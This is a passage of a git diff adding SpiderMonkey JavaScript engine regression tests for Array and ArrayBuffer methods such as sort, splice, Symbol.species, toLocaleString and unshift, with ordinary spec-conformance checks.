+let c = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}].sort((a, b) => {+a.size - +b.size});
+
+assertEq(a.length, 22);
+assertEq(denseCount(a), 2);
+assertEq(a.length, b.length);
+assertEq(b.length, c.length);
+assertEq(denseCount(a), denseCount(b));
+assertEq(denseCount(b), denseCount(c));
+
+let superSparce = new Array(5000);
+superSparce[0] = 99;
+superSparce[4000] = 0;
+superSparce[4999] = -1;
+
+assertEq(superSparce.length, 5000);
+assertEq(denseCount(superSparce), 3);
+
+superSparce.sort((a, b) => 1*a-b);
+assertEq(superSparce.length, 5000);
+assertEq(denseCount(superSparce), 3);
+assertEq(superSparce[0], -1);
+assertEq(superSparce[1], 0);
+assertEq(superSparce[2], 99);
+
+let allHoles = new Array(2600);
+assertEq(allHoles.length, 2600);
+assertEq(denseCount(allHoles), 0);
+allHoles.sort((a, b) => 1*a-b);
+assertEq(allHoles.length, 2600);
+assertEq(denseCount(allHoles), 0);
+
+let oneHole = new Array(2600);
+oneHole[1399] = {size: 27};
+assertEq(oneHole.length, 2600);
+assertEq(denseCount(oneHole), 1);
+oneHole.sort((a, b) => {+a.size - +b.size});
+assertDeepEq(oneHole[0], {size: 27});
+assertEq(oneHole.length, 2600);
+assertEq(denseCount(oneHole), 1);
+
+// Sealed objects should be sortable, including those with holes (so long
+// as the holes appear at the end, so that they don't need to be moved).
+assertDeepEq(Object.seal([0, 99, -1]).sort((x, y) => 1 * x - y),
+ Object.seal([-1, 0, 99]));
+
+assertDeepEq(Object.seal([1, 5, 4, , ,]).sort((x, y) => 1 * x - y),
+ Object.seal([1, 4, 5, , ,]));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort_proxy.js b/js/src/tests/non262/Array/sort_proxy.js
new file mode 100644
index 0000000000..40ebb907bf
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_proxy.js
@@ -0,0 +1,38 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+// Ensure, via proxy, that only get, set, delete, has, and getOwnPropertyDescriptor
+// are touched during sorting.
+
+const handler = {
+ set: function(target, prop, value) {
+ target[prop] = value;
+ return value;
+ },
+ getPrototypeOf: () => { throw "You shouldn't touch getPrototypeOf!" },
+ setPrototypeOf: () => { throw "You shouldn't touch setPrototypeOf!" },
+ isExtensible: () => { throw "You shouldn't touch isExtensible!" },
+ preventExtensions: () => { throw "You shouldn't touch preventExtensions!" },
+ defineProperty: () => { throw "You shouldn't touch defineProperty!" },
+ ownKeys: () => { throw "You shouldn't touch ownKeys!" },
+ apply: () => { throw "You shouldn't touch apply!" },
+ construct: () => { throw "You shouldn't touch construct!" },
+}
+
+function testArray(arr) {
+ let proxy = new Proxy(arr, handler)
+
+ // The supplied comparators trigger a JavaScript implemented sort.
+ proxy.sort((x, y) => 1 * x - y);
+ arr.sort((x, y) => 1 * x - y);
+
+ for (let i in arr)
+ assertEq(arr[i], proxy[i]);
+}
+
+testArray([-1]);
+testArray([5, -1, 2, 99]);
+testArray([5, -1, , , , 2, 99]);
+testArray([]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort_small.js b/js/src/tests/non262/Array/sort_small.js
new file mode 100644
index 0000000000..fa8b789e10
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_small.js
@@ -0,0 +1,33 @@
+// Sort every possible permutation of some arrays.
+function sortAllPermutations(data, comparefn) {
+ for (let permutation of Permutations(Array.from(data))) {
+ let sorted = (Array.from(permutation)).sort(comparefn);
+ for (let i in sorted) {
+ assertEq(sorted[i], data[i],
+ [`[${permutation}].sort(${comparefn})`,
+ `returned ${sorted}, expected ${data}`].join(' '));
+ }
+ }
+}
+
+let lex = [2112, "bob", "is", "my", "name"];
+let nans = [1/undefined, NaN, Number.NaN]
+
+let num1 = [-11, 0, 0, 100, 101];
+let num2 = [-11, 100, 201234.23, undefined, undefined];
+
+sortAllPermutations(lex);
+sortAllPermutations(nans);
+
+sortAllPermutations(nans, (x, y) => x - y);
+// Multiplication kills comparator optimization.
+sortAllPermutations(nans, (x, y) => (1*x - 1*y));
+
+sortAllPermutations(num1, (x, y) => x - y);
+sortAllPermutations(num1, (x, y) => (1*x - 1*y));
+
+sortAllPermutations(num2, (x, y) => x - y);
+sortAllPermutations(num2, (x, y) => (1*x - 1*y));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/species.js b/js/src/tests/non262/Array/species.js
new file mode 100644
index 0000000000..3669c286f6
--- /dev/null
+++ b/js/src/tests/non262/Array/species.js
@@ -0,0 +1,182 @@
+var BUGNUMBER = 1165052;
+var summary = 'Use ArraySpeciesCreate in Array.prototype.{concat,filter,map,slice,splice}.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(funcName, args, expectedLength, expectedLogs) {
+ // modified @@species
+ function FakeArray(n) {
+ this.length = n;
+ }
+ var a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: FakeArray
+ };
+ var b = a[funcName](...args);
+ assertEq(b.constructor, FakeArray);
+
+ function FakeArrayWithSpecies(n) {
+ this.length = n;
+ }
+ FakeArrayWithSpecies[Symbol.species] = FakeArrayWithSpecies;
+ a = [1, 2, 3, 4, 5];
+ a.constructor = FakeArrayWithSpecies;
+ b = a[funcName](...args);
+ assertEq(b.constructor, FakeArrayWithSpecies);
+
+ function FakeArrayWithHook(n) {
+ return new Proxy(new FakeArray(n), {
+ set(that, name, value) {
+ logs += "set:" + name + ":" + value + ",";
+ return true;
+ },
+ defineProperty(that, name, desc) {
+ logs += "define:" + name + ":" + desc.value + ":" + desc.configurable + ":" + desc.enumerable + ":" + desc.writable + ",";
+ return true;
+ }
+ });
+ }
+ var logs = "";
+ var ctorProxy = new Proxy({}, {
+ get(that, name) {
+ logs += "c-get:" + name.toString() + ",";
+ if (name == Symbol.species)
+ return FakeArrayWithHook;
+
+ return undefined;
+ }
+ });
+ a = new Proxy([1, 2, 3, 4, 5], {
+ get(that, name) {
+ logs += "get:" + name.toString() + ",";
+ if (name == "constructor")
+ return ctorProxy;
+ return that[name];
+ }
+ });
+ b = a[funcName](...args);
+ assertEq(b.constructor, FakeArray);
+ assertEq(Object.keys(b).sort().join(","), "length");
+ assertEq(b.length, expectedLength);
+ assertEq(logs, expectedLogs);
+
+ // no @@species
+ a = [1, 2, 3, 4, 5];
+ a.constructor = FakeArray;
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: undefined
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: null
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // invalid @@species
+ for (var species of [0, 1.1, true, false, "a", /a/, Symbol.iterator, [], {}]) {
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: species
+ };
+ assertThrowsInstanceOf(() => a[funcName](...args), TypeError);
+ }
+
+ // undefined constructor
+ a = [1, 2, 3, 4, 5];
+ a.constructor = undefined;
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // invalid constructor
+ for (var ctor of [null, 0, 1.1, true, false, "a", Symbol.iterator]) {
+ a = [1, 2, 3, 4, 5];
+ a.constructor = ctor;
+ assertThrowsInstanceOf(() => a[funcName](...args), TypeError);
+ }
+
+ // not an array
+ a = new Proxy({
+ 0: 1, 1: 2, 2: 3, 3: 4, 4: 5,
+ length: 5,
+ [funcName]: Array.prototype[funcName]
+ }, {
+ get(that, name) {
+ assertEq(name !== "constructor", true);
+ return that[name];
+ }
+ });
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // @@species from different global
+ var g = newGlobal();
+ g.eval("function FakeArray(n) { this.length = n; }");
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: g.FakeArray
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.FakeArray);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: g.Array
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.Array);
+
+ // constructor from different global
+ g.eval("function FakeArrayWithSpecies(n) { this.length = n; }");
+ g.eval("FakeArrayWithSpecies[Symbol.species] = FakeArrayWithSpecies;");
+ a = [1, 2, 3, 4, 5];
+ a.constructor = g.FakeArrayWithSpecies;
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.FakeArrayWithSpecies);
+
+ g.eval("var a = [1, 2, 3, 4, 5];");
+ b = Array.prototype[funcName].apply(g.a, args);
+ assertEq(b.constructor, Array);
+
+ // running in different global
+ b = g.a[funcName](...args);
+ assertEq(b.constructor, g.Array);
+
+ // subclasses
+ // not-modified @@species
+ eval(`
+class ${funcName}Class extends Array {
+}
+a = new ${funcName}Class(1, 2, 3, 4, 5);
+b = a[funcName](...args);
+assertEq(b.constructor, ${funcName}Class);
+`);
+
+ // modified @@species
+ eval(`
+class ${funcName}Class2 extends Array {
+ static get [Symbol.species]() {
+ return Date;
+ }
+}
+a = new ${funcName}Class2(1, 2, 3, 4, 5);
+b = a[funcName](...args);
+assertEq(b.constructor, Date);
+`);
+}
+
+test("concat", [], 0, "get:concat,get:constructor,c-get:Symbol(Symbol.species),get:Symbol(Symbol.isConcatSpreadable),get:length,get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+test("filter", [x => x % 2], 0, "get:filter,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,get:2,define:1:3:true:true:true,get:3,get:4,define:2:5:true:true:true,");
+test("map", [x => x * 2], 5, "get:map,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:2:true:true:true,get:1,define:1:4:true:true:true,get:2,define:2:6:true:true:true,get:3,define:3:8:true:true:true,get:4,define:4:10:true:true:true,");
+test("slice", [], 5, "get:slice,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+test("splice", [0, 5], 5, "get:splice,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/splice-return-array-elements-defined-not-set.js b/js/src/tests/non262/Array/splice-return-array-elements-defined-not-set.js
new file mode 100644
index 0000000000..2f5eca610d
--- /dev/null
+++ b/js/src/tests/non262/Array/splice-return-array-elements-defined-not-set.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 668024;
+var summary =
+ 'Array.prototype.splice should define, not set, the elements of the array ' +
+ 'it returns';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(Object.prototype, 2,
+ {
+ set: function(v)
+ {
+ throw new Error("setter on Object.prototype called!");
+ },
+ get: function() { return "fnord"; },
+ enumerable: false,
+ configurable: true
+ });
+
+var arr = [0, 1, 2, 3, 4, 5];
+var removed = arr.splice(0, 6);
+
+assertEq(arr.length, 0);
+assertEq(removed.length, 6);
+assertEq(removed[0], 0);
+assertEq(removed[1], 1);
+assertEq(removed[2], 2);
+assertEq(removed[3], 3);
+assertEq(removed[4], 4);
+assertEq(removed[5], 5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/splice-species-changes-length.js b/js/src/tests/non262/Array/splice-species-changes-length.js
new file mode 100644
index 0000000000..0e4ed32b01
--- /dev/null
+++ b/js/src/tests/non262/Array/splice-species-changes-length.js
@@ -0,0 +1,48 @@
+// Case 1: splice() removes an element from the array.
+{
+ let array = [];
+ array.push(0, 1, 2);
+
+ array.constructor = {
+ [Symbol.species]: function(n) {
+ // Increase the initialized length of the array.
+ array.push(3, 4, 5);
+
+ // Make the length property non-writable.
+ Object.defineProperty(array, "length", {writable: false});
+
+ return new Array(n);
+ }
+ }
+
+ assertThrowsInstanceOf(() => Array.prototype.splice.call(array, 0, 1), TypeError);
+
+ assertEq(array.length, 6);
+ assertEqArray(array, [1, 2, /* hole */, 3, 4, 5]);
+}
+
+// Case 2: splice() adds an element to the array.
+{
+ let array = [];
+ array.push(0, 1, 2);
+
+ array.constructor = {
+ [Symbol.species]: function(n) {
+ // Increase the initialized length of the array.
+ array.push(3, 4, 5);
+
+ // Make the length property non-writable.
+ Object.defineProperty(array, "length", {writable: false});
+
+ return new Array(n);
+ }
+ }
+
+ assertThrowsInstanceOf(() => Array.prototype.splice.call(array, 0, 0, 123), TypeError);
+
+ assertEq(array.length, 6);
+ assertEqArray(array, [123, 0, 1, 2, 4, 5]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/splice-suppresses-unvisited-indexes.js b/js/src/tests/non262/Array/splice-suppresses-unvisited-indexes.js
new file mode 100644
index 0000000000..717116fa0a
--- /dev/null
+++ b/js/src/tests/non262/Array/splice-suppresses-unvisited-indexes.js
@@ -0,0 +1,61 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 668024;
+var summary =
+ 'Array.prototype.splice, when it deletes elements, should make sure any ' +
+ 'deleted but not visited elements are suppressed from subsequent enumeration';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2, 3, 4, 5, , 7];
+
+var seen = [];
+var sawOneBeforeThree = true;
+for (var p in arr)
+{
+ if (p === "1")
+ {
+ // The order of enumeration of properties is unspecified, so technically,
+ // it would be kosher to enumerate "1" last, say, such that all properties
+ // in the array actually were enumerated, including an index which splice
+ // would delete. Don't flag that case as a failure. (SpiderMonkey doesn't
+ // do this, and neither do any of the other browser engines, but it is
+ // permissible behavior.)
+ if (seen.indexOf("3") >= 0)
+ {
+ sawOneBeforeThree = false;
+ break;
+ }
+
+ arr.splice(2, 3);
+ }
+
+ seen.push(p);
+}
+
+if (sawOneBeforeThree)
+{
+ // ES5 12.6.4 states:
+ //
+ // If a property that has not yet been visited during enumeration is
+ // deleted, then it will not be visited.
+ //
+ // So if we haven't seen "3" by the time we see "1", the splice call above
+ // will delete "3", and therefore we must not see it.
+ assertEq(seen.indexOf("3"), -1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/to-length.js b/js/src/tests/non262/Array/to-length.js
new file mode 100644
index 0000000000..d6b4c6d7cd
--- /dev/null
+++ b/js/src/tests/non262/Array/to-length.js
@@ -0,0 +1,40 @@
+const max = Number.MAX_SAFE_INTEGER;
+
+assertEq(Array.prototype.indexOf.call({length: Infinity, [max - 1]: 'test'}, 'test', max - 3), max - 1);
+assertEq(Array.prototype.lastIndexOf.call({length: Infinity, [max - 2]: 'test', [max - 1]: 'test2'}, 'test'), max - 2);
+
+// ToLength doesn't truncate Infinity to zero, so the callback should be invoked
+assertThrowsValue(() => Array.prototype.every.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.some.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+// Timeout before calling our callback
+// assertThrowsValue(() => Array.prototype.sort.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.forEach.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.filter.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.reduce.call({length: Infinity, [0]: undefined, [1]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.reduceRight.call({length: Infinity, [max - 1]: undefined, [max - 2]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.find.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.findIndex.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.fill.call({length: Infinity, set "0"(v) { throw "invoked"; }}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.copyWithin.call({length: Infinity, get [max - 2]() { throw "invoked"; }}, max - 2, max - 2), "invoked");
+
+assertEq(Array.prototype.includes.call({length: Infinity, [max - 1]: "test"}, "test", max - 3), true);
+
+// Invoking the Array constructor with MAX_SAFE_INTEGER will throw, 0 won't
+assertThrowsInstanceOf(() => Array.from({length: Infinity}), RangeError);
+
+// Make sure ArraySpeciesCreate is called with ToLength applied to the length property
+var proxy = new Proxy([], {
+ get(target, property) {
+ if (property === "length")
+ return Infinity;
+
+ assertEq(property, "constructor");
+ function fakeConstructor(length) { assertEq(length, max); throw "invoked"; };
+ fakeConstructor[Symbol.species] = fakeConstructor;
+ return fakeConstructor;
+ }
+})
+assertThrowsValue(() => Array.prototype.map.call(proxy, () => { }), "invoked");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/toLocaleString-01.js b/js/src/tests/non262/Array/toLocaleString-01.js
new file mode 100644
index 0000000000..458283e635
--- /dev/null
+++ b/js/src/tests/non262/Array/toLocaleString-01.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562446;
+var summary = 'ES5: Array.prototype.toLocaleString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o;
+
+o = { length: 2, 0: 7, 1: { toLocaleString: function() { return "baz" } } };
+assertEq(Array.prototype.toLocaleString.call(o), "7,baz");
+
+o = {};
+assertEq(Array.prototype.toLocaleString.call(o), "");
+
+var log = '';
+arr = {length: {valueOf: function () { log += "L"; return 2; }},
+ 0: "x", 1: "z"};
+assertEq(Array.prototype.toLocaleString.call(arr), "x,z");
+assertEq(log, "L");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/toLocaleString-nointl.js b/js/src/tests/non262/Array/toLocaleString-nointl.js
new file mode 100644
index 0000000000..b0cee83049
--- /dev/null
+++ b/js/src/tests/non262/Array/toLocaleString-nointl.js
@@ -0,0 +1,26 @@
+if (typeof Intl !== "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const obj = {
+ toLocaleString() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ }
+ };
+
+ // Ensure no arguments are passed to the array elements.
+ // - Single element case.
+ assertEq([obj].toLocaleString(), "pass");
+ // - More than one element.
+ assertEq([obj, obj].toLocaleString(), "pass" + localeSep + "pass");
+
+ // Ensure no arguments are passed to the array elements even if supplied.
+ const locales = {}, options = {};
+ // - Single element case.
+ assertEq([obj].toLocaleString(locales, options), "pass");
+ // - More than one element.
+ assertEq([obj, obj].toLocaleString(locales, options), "pass" + localeSep + "pass");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/toLocaleString.js b/js/src/tests/non262/Array/toLocaleString.js
new file mode 100644
index 0000000000..4a16cb4a49
--- /dev/null
+++ b/js/src/tests/non262/Array/toLocaleString.js
@@ -0,0 +1,14 @@
+"use strict";
+
+Object.defineProperty(String.prototype, "toLocaleString", {
+ get() {
+ assertEq(typeof this, "string");
+
+ return function() { return typeof this; };
+ }
+})
+
+assertEq(["test"].toLocaleString(), "string");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/toString-01.js b/js/src/tests/non262/Array/toString-01.js
new file mode 100644
index 0000000000..a92fe6369b
--- /dev/null
+++ b/js/src/tests/non262/Array/toString-01.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562446;
+var summary = 'ES5: Array.prototype.toString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o;
+
+o = { join: function() { assertEq(arguments.length, 0); return "ohai"; } };
+assertEq(Array.prototype.toString.call(o), "ohai");
+
+o = {};
+assertEq(Array.prototype.toString.call(o), "[object Object]");
+
+Array.prototype.join = function() { return "kthxbai"; };
+assertEq(Array.prototype.toString.call([]), "kthxbai");
+
+o = { join: 17 };
+assertEq(Array.prototype.toString.call(o), "[object Object]");
+
+o = { get join() { throw 42; } };
+try
+{
+ var str = Array.prototype.toString.call(o);
+ assertEq(true, false,
+ "expected an exception calling [].toString on an object with a " +
+ "join getter that throws, got " + str + " instead");
+}
+catch (e)
+{
+ assertEq(e, 42,
+ "expected thrown e === 42 when calling [].toString on an object " +
+ "with a join getter that throws, got " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/unscopables.js b/js/src/tests/non262/Array/unscopables.js
new file mode 100644
index 0000000000..9827245445
--- /dev/null
+++ b/js/src/tests/non262/Array/unscopables.js
@@ -0,0 +1,61 @@
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+var isNightly = !getBuildConfiguration().release_or_beta;
+
+let Array_unscopables = Array.prototype[Symbol.unscopables];
+
+let desc = Reflect.getOwnPropertyDescriptor(Array.prototype, Symbol.unscopables);
+assertDeepEq(desc, {
+ value: Array_unscopables,
+ writable: false,
+ enumerable: false,
+ configurable: true
+});
+
+assertEq(Reflect.getPrototypeOf(Array_unscopables), null);
+
+let desc2 = Object.getOwnPropertyDescriptor(Array_unscopables, "values");
+assertDeepEq(desc2, {
+ value: true,
+ writable: true,
+ enumerable: true,
+ configurable: true
+});
+
+let keys = Reflect.ownKeys(Array_unscopables);
+
+assertDeepEq(keys, [
+ ...(isNightly ? ["at"] : []),
+ ...[
+ "copyWithin",
+ "entries",
+ "fill",
+ "find",
+ "findIndex",
+ "flat",
+ "flatMap",
+ "includes",
+ "keys",
+ "values"
+]]);
+
+for (let key of keys)
+ assertEq(Array_unscopables[key], true);
+
+// Test that it actually works
+assertThrowsInstanceOf(() => {
+ with ([]) {
+ return entries;
+ }
+}, ReferenceError);
+
+{
+ let fill = 33;
+ with (Array.prototype) {
+ assertEq(fill, 33);
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/unshift-01.js b/js/src/tests/non262/Array/unshift-01.js
new file mode 100644
index 0000000000..fbae3294a7
--- /dev/null
+++ b/js/src/tests/non262/Array/unshift-01.js
@@ -0,0 +1,44 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 614070;
+var summary = 'Array.prototype.unshift without args';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// ES6 ToLength clamps length values to 2^53 - 1.
+var MAX_LENGTH = 2**53 - 1;
+
+var a = {};
+a.length = MAX_LENGTH + 1;
+assertEq([].unshift.call(a), MAX_LENGTH);
+assertEq(a.length, MAX_LENGTH);
+
+function testGetSet(len, expected) {
+ var newlen;
+ var a = { get length() { return len; }, set length(v) { newlen = v; } };
+ var res = [].unshift.call(a);
+ assertEq(res, expected);
+ assertEq(newlen, expected);
+}
+
+testGetSet(0, 0);
+testGetSet(10, 10);
+testGetSet("1", 1);
+testGetSet(null, 0);
+testGetSet(MAX_LENGTH + 2, MAX_LENGTH);
+testGetSet(-5, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/unshift-with-enumeration.js b/js/src/tests/non262/Array/unshift-with-enumeration.js
new file mode 100644
index 0000000000..fbf451b8cc
--- /dev/null
+++ b/js/src/tests/non262/Array/unshift-with-enumeration.js
@@ -0,0 +1,18 @@
+function f(array, method, args) {
+ var called = false;
+ var keys = [];
+ for (var key in array) {
+ keys.push(key);
+ if (!called) {
+ called = true;
+ Reflect.apply(method, array, args);
+ }
+ }
+ return keys;
+}
+
+assertEqArray(f([1, /* hole */, 3], Array.prototype.unshift, [0]), ["0"]);
+assertEqArray(f([1, /* hole */, 3], Array.prototype.splice, [0, 0, 0]), ["0"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/values.js b/js/src/tests/non262/Array/values.js
new file mode 100644
index 0000000000..902a668123
--- /dev/null
+++ b/js/src/tests/non262/Array/values.js
@@ -0,0 +1,20 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+if (Array.prototype.values) {
+ assertEq(Array.prototype.values, Array.prototype[Symbol.iterator]);
+ assertEq(Array.prototype.values.name, "values");
+ assertEq(Array.prototype.values.length, 0);
+
+ function valuesUnscopeable() {
+ var values = "foo";
+ with ([1, 2, 3]) {
+ assertEq(indexOf, Array.prototype.indexOf);
+ assertEq(values, "foo");
+ }
+ }
+ valuesUnscopeable();
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/ArrayBuffer/CloneArrayBuffer.js b/js/src/tests/non262/ArrayBuffer/CloneArrayBuffer.js
new file mode 100644
index 0000000000..480314ad8e
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/CloneArrayBuffer.js
@@ -0,0 +1,35 @@
+var BUGNUMBER = 1264941;
+var summary = 'CloneArrayBuffer should be called with byteLength of source typedArray';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctor, byteLength) {
+ var abuf = new ctor(byteLength);
+ assertEq(abuf.byteLength, byteLength);
+
+ for (var byteOffset of [0, 16]) {
+ for (var elementLength = 0;
+ elementLength < (byteLength - byteOffset) / Float64Array.BYTES_PER_ELEMENT;
+ elementLength++) {
+ var a1 = new Float64Array(abuf, byteOffset, elementLength);
+ assertEq(a1.buffer.byteLength, byteLength);
+ assertEq(a1.byteLength, elementLength * Float64Array.BYTES_PER_ELEMENT);
+ assertEq(a1.byteOffset, byteOffset);
+
+ var a2 = new Float64Array(a1);
+ assertEq(a2.buffer.byteLength, a1.byteLength);
+ assertEq(a2.byteLength, a1.byteLength);
+ assertEq(a2.byteOffset, 0);
+ }
+ }
+}
+
+test(ArrayBuffer, 16);
+test(ArrayBuffer, 128);
+
+class MyArrayBuffer extends ArrayBuffer {}
+test(MyArrayBuffer, 16);
+test(MyArrayBuffer, 128);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ArrayBuffer/browser.js b/js/src/tests/non262/ArrayBuffer/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/browser.js
diff --git a/js/src/tests/non262/ArrayBuffer/constructorNotCallable.js b/js/src/tests/non262/ArrayBuffer/constructorNotCallable.js
new file mode 100644
index 0000000000..9df97fe867
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/constructorNotCallable.js
@@ -0,0 +1,8 @@
+assertThrowsInstanceOf(() => ArrayBuffer(), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer(1), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer.call(null), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer.apply(null, []), TypeError);
+assertThrowsInstanceOf(() => Reflect.apply(ArrayBuffer, null, []), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/ArrayBuffer/getter-name.js b/js/src/tests/non262/ArrayBuffer/getter-name.js
new file mode 100644
index 0000000000..434782bfe8
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'ArrayBuffer getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(ArrayBuffer.prototype, "byteLength").get.name, "get byteLength");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ArrayBuffer/shell.js b/js/src/tests/non262/ArrayBuffer/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/shell.js
diff --git a/js/src/tests/non262/ArrayBuffer/slice-species.js b/js/src/tests/non262/ArrayBuffer/slice-species.js
new file mode 100644
index 0000000000..6f025d162c
--- /dev/null
